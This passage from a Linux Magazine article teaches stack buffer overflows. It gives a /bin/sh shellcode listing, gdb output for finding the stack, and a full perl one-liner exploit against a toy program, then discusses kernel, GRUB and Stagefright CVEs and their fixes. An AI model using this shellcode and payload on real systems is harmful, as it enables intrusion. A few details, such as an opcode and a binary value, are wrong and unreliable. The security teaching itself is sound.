Anatomy of a kernel attack

Get a Shell

The next step is to inject what the experts call a shellcode – a small bit of code that will launch the attack. (The name shellcode [5] comes from the fact that attackers often use this approach to launch a command shell.) The code should be short, to fit nicely into the few bytes allowed for input. The shellcode needs to be provided as opcodes (machine instruction codes), because you somehow need to input it to the process. These opcodes could contain binary zeros, which would not be accepted as is since strings are null terminated in C. Those zero opcodes therefore need to be replaced – such as using XOR AX,AX to set AX to zero, rather than MOV AX,0 or using smaller sub-registers, such as AL instead of AX. Listing 3 shows an example of a shellcode, cleaned out of all the binary zeros, with the necessary opcodes. A push command moves /bin/sh to the stack.

Listing 3


01 xor %eax,%eax           31 c0
02 push %eax               50
03 push $0x68732f2f        68 2f 2f 73 68
04 push $0x6e69622f        68 2f 62 69 6e
05 mov %esp,%ebx           89 e3
06 push %eax               50
07 mov %esp,%edx           89 e2
08 push %ebx               43
09 mov %esp,%ecx           89 e1
10 mov $0xb,%al            b0 0b
11 int $0x80               cd 80

The next challenge is to set the return address to point to the data sent (i.e., to the location of the data on the stack). Keep in mind that the stack layout might vary when the process is run outside or inside gdb. To add flexibility, a so-called a no operation (NOP) slide is added. A NOP command is a command that does nothing. A NOP slide is a series of NOPs prefixing the shellcode. If the newly set return address hits a NOP, the CPU will iterate over all the NOP commands and finally reach the shellcode.

The Intel architecture NOP has an opcode of 90 (hex) and therefore is easy to inject; some other CPUs use 0 (hex), which forces a workaround such as MOV AX,AX.

In gdb, finding the base address of the stack is as easy as reading the contents of the EBP register and doing some math, as Listing 4 demonstrates. The stack starts at bfffeba8 and is 168 bytes long (lines 21-22 in Listing 4).

Listing 4

Finding the Stack

01 (gdb) disassemble read_and_print
02 Dump of assembler code for function read_and_print:
03 0x08048384 <read_and_print+0>:        push   %ebp
04 0x08048385 <read_and_print+1>:        mov    %esp,%ebp
05 0x08048387 <read_and_print+3>:        sub    $0xa8,%esp
06 0x0804838d <read_and_print+9>:        lea    0xffffff60(%ebp),%eax
07 0x08048393 <read_and_print+15>:       mov    %eax,(%esp)
08 0x08048396 <read_and_print+18>:       call   0x80482a8 <gets@plt>
09 0x0804839b <read_and_print+23>:       lea    0xffffff60(%ebp),%eax
10 0x080483a1 <read_and_print+29>:       mov    %eax,0x4(%esp)
11 0x080483a5 <read_and_print+33>:       movl   $0x80484a0,(%esp)
12 0x080483ac <read_and_print+40>:       call   0x80482c8 <printf@plt>
13 0x080483b1 <read_and_print+45>:       leave
14 0x080483b2 <read_and_print+46>:       ret
15 End of assembler dump.
16 (gdb) break *0x08048387
17 Breakpoint 1 at 0x8048387: file bug.c, line 4.
18 (gdb) run
19 Breakpoint 1, 0x08048387 in read_and_print () at buf.c:4
20 4         {
21 (gdb) print $ebp - 0xa8
22 $1 = (void *) 0xbfffeba8

Now with all this prepared, the attack is ready. The shellcode I wrote is 25 bytes long; I will prefix it with a nice NOP slide of 120 NOPs. The last four bytes need to be the return address, which points to somewhere in the stack. This leaves (168-120-25-4)=19 bytes of padding after the shellcode, which will take the form of 19 "A"s in the following single-line command:

( perl -e 'print "\x90"x120 ."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."A"x19 ."\xf0\xeb\xff\xbf"' ; cat ) | ./buf

cat is needed to keep an input open to the newly created shell. In this example, all I needed to gain shell access was a program that failed to limit how many bytes are written to a fixed size buffer. C provides plenty of built-in functions to prevent this – for instance, strncpy was introduced to ANSI C in 1990. The example program compiled with -Wall to enable compiler warnings would generate a warning indicating that it is unsafe to use gets(). However, in real life, these warnings are often ignored and tools to automatically find these issues are hardly ever used.

Ready to Rumble

With all of this, some practice, and careful study of the literature, it is time to look at some examples of attacks on the Linux kernel. A good example is CVE-2019-17133 [6]: A buffer overflow in the WiFi driver triggered by a too-long SSID. This attack was fairly dangerous, because anyone can run an access point with a carefully crafted SSID to inject shellcode. I also like this CVE, because it shows that insecure input doesn't need to be typed in; it can arrive over any outside connection or in any form, including crafted TIFFs, as used for the first iPhone jailbreak [7].

Looking at the patch provided [8], it is obvious that memcpy would copy as much data as sent into the buffer, rather than limiting it to the buffer size:

memcpy(ssid, ie + 2, data_length);

This problem was fixed by first comparing data_length to the maximum SSID buffer size. As always: If you find one security issue of a certain type, you are likely to find other similar problems in the same code. This holds true for the WiFi code: A buffer overflow triggered by a manipulated WiFi beacon was assigned a CVE-number a few days later [9]. Therefore, if a security issue is reported, it is a good idea to check related code for similar issues.

Another example is the BootHole attack [10], which does not directly affect the kernel but allows the attacker to bypass UEFI secure boot and thereby boot arbitrary code. GRUB uses a plain text configuration file, which is parsed using flex. If the contents are too long, flex should notice and call a function to throw an error (YY_FATAL_ERROR). Once, a fatal error has occurred, parsing should stop; however, the GRUB developers in their implementation of YY_FATAL_ERROR did not stop the process but kept going: So an error message was displayed but no action was taken, resulting in a buffer overflow.

Integer Integrity

The same version of GRUB also suffered from an integer overflow issue, which in turn could trigger another buffer overflow. Consider how numbers are represented in computers. Unsigned numbers can be 8, 16, 32, or 64 bits. Whenever an operation (be it an addition, multiplication, or shift left) needs more space than provided, the first digits are truncated. This phenomenon is similar to the experience of anyone driving an older car: With only five digits on the odometer, a car would look brand new after 100,000 miles.

For signed numbers however, things get nastier. With 8 bits, 0111 1111 (bin) = 127 (dec) is the largest positive number, whereas due to the two's complement used 1000 0000 (bin) = -128 (dec) is the largest negative. Obviously, 0111 1111 + 1 = 1000 0000 (bin). Or in decimal, 127 + 1 = -128.

When assigning an unsigned integer a signed integer, it gets worse: Although the signed integer might have a correct value of -128, the unsigned would read 128. The pseudocode in Listing 5 gives an idea of what could potentially go wrong. The integer overflow hides in the multiplication: Both values are signed int.

Listing 5

Integer Overflow

01 void copy_stuff(signed int count, size, ptr src, dst) {
02   unsigned int max_size = 32768; // 32 KByte
03   if (count * size) < max_size { do stuff }
04     else { error }
05 }

In line 3, count and size are multiplied, and both are signed integers – by default, the result would be a signed integer. That works well for 100 blocks of four byte data (400), but what if it were 256 blocks of 256 bytes? At a first glance, this would result in 65536, which is more than 32768.

But that calculation wasn't made with "signed" in mind: 65536 is 1000 0000 0000 0000 (bin), (i.e. -32768 with a signed integer). Any negative number is obviously less than any positive number, which means that the copying would be initiated. Imagine a memcpy there: The buffer overflow is waiting to happen.

This is not just grey system theory, as Stagefright [11] demonstrated. In the Stagefright attack, the issue was a tiny bit different: The programmers did well in multiplying 32-bit integers and comparing the result to a 64-bit integer. However, they didn't consider the attitude of the C compiler: When multiplying two 32-bit integers, the result would only be 32 bits. The programmers would have needed to manually type cast at least one of the integers to 64 bits.

This problem, which occurred in the Android libstagefright library, was used to triggered a buffer overflow that subsequently lead to injected code running with root privileges on Android. Because libstagefright handled all media, all that was needed was a compromised media file, which could be an audio, video, or photo file, arriving in any possible way – from MMS multimedia messaging, to a web page, to a microSD card.

The Linux kernel was also vulnerable to these kind of attacks, as CVE-2021-3491 demonstrates: A simple mix up of signed and unsigned integers would have led to a heap-based buffer overflow, allowing the attacker to inject arbitrary code [12]. The patch was amazingly simple: Fix the sign and enforce the upper size limit using the min – function.

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy Linux Magazine

Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

  • Kernel Protection

    Security vulnerabilities in the kernel often remain undetected. The kernel hacker initiative, Kernel Self-Protection, promotes safe programming techniques to keep attackers off the network, and, if they do slip through the net, mitigate the consequences.

  • Rdesktop: Remote Control with Security Holes

    Security researchers iDefense have disclosed three vulnerabilities in the Rdesktop Remote Client.

  • Security and SOHO Routers

    Home and small office networks typically place their security in the hands of an inexpensive device that serves as a router, DHCP server, firewall, and wireless hotspot. How secure are these SOHO router devices? We're glad you asked …

  • Vulnerabilities in Xine-Lib and Mplayer

    Vulnerabilities have been discovered in two major media players for Linux. A Xine-Lib vulnerability also affects Mplayer.

  • Apache 2.2.13 with Overflow Protection

    With Apache 2.2.13, developers have closed security holes in the popular webserver.

comments powered by Disqus
Subscribe to our Linux Newsletters
Find Linux and Open Source Jobs
Subscribe to our ADMIN Newsletters

Support Our Work

Linux Magazine content is made possible with support from readers like you. Please consider contributing when you’ve found an article to be beneficial.

Learn More